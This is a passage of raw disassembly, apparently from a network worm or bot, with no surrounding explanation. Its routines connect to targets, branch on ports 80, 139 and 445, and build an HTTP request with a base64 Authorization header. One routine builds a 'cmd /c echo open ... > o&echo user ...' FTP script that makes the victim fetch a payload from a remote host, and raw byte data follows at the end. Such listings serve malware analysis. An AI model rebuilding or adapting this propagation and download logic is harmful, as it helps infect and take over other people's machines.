10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAFBC loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAFA0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFF4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431D14 push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D44 push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDCBC push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C8C push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D50 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D9C[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D158 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F48 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACE0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DE0 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAFA4 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFE4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB03C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h nop call near ptr 2660D05h loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431448[eax] lea eax, dword_431448[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB5C4, 1 jnz short loc_40D888 or byte_4DB5C4, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_432200 add eax, 6 mov dword_4CDCC4, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 26E0000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 0B8h ; ╦ db 0DCh ; э db 60h ; ` db 0 db 0 db 0E8h ; Х db 78h ; x db 0E1h ; А db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0F4h ; Т db 0D4h ; т db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0A8h ; ╗ db 0F7h ; В db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; ш db 85h ; ┘ db 0C0h 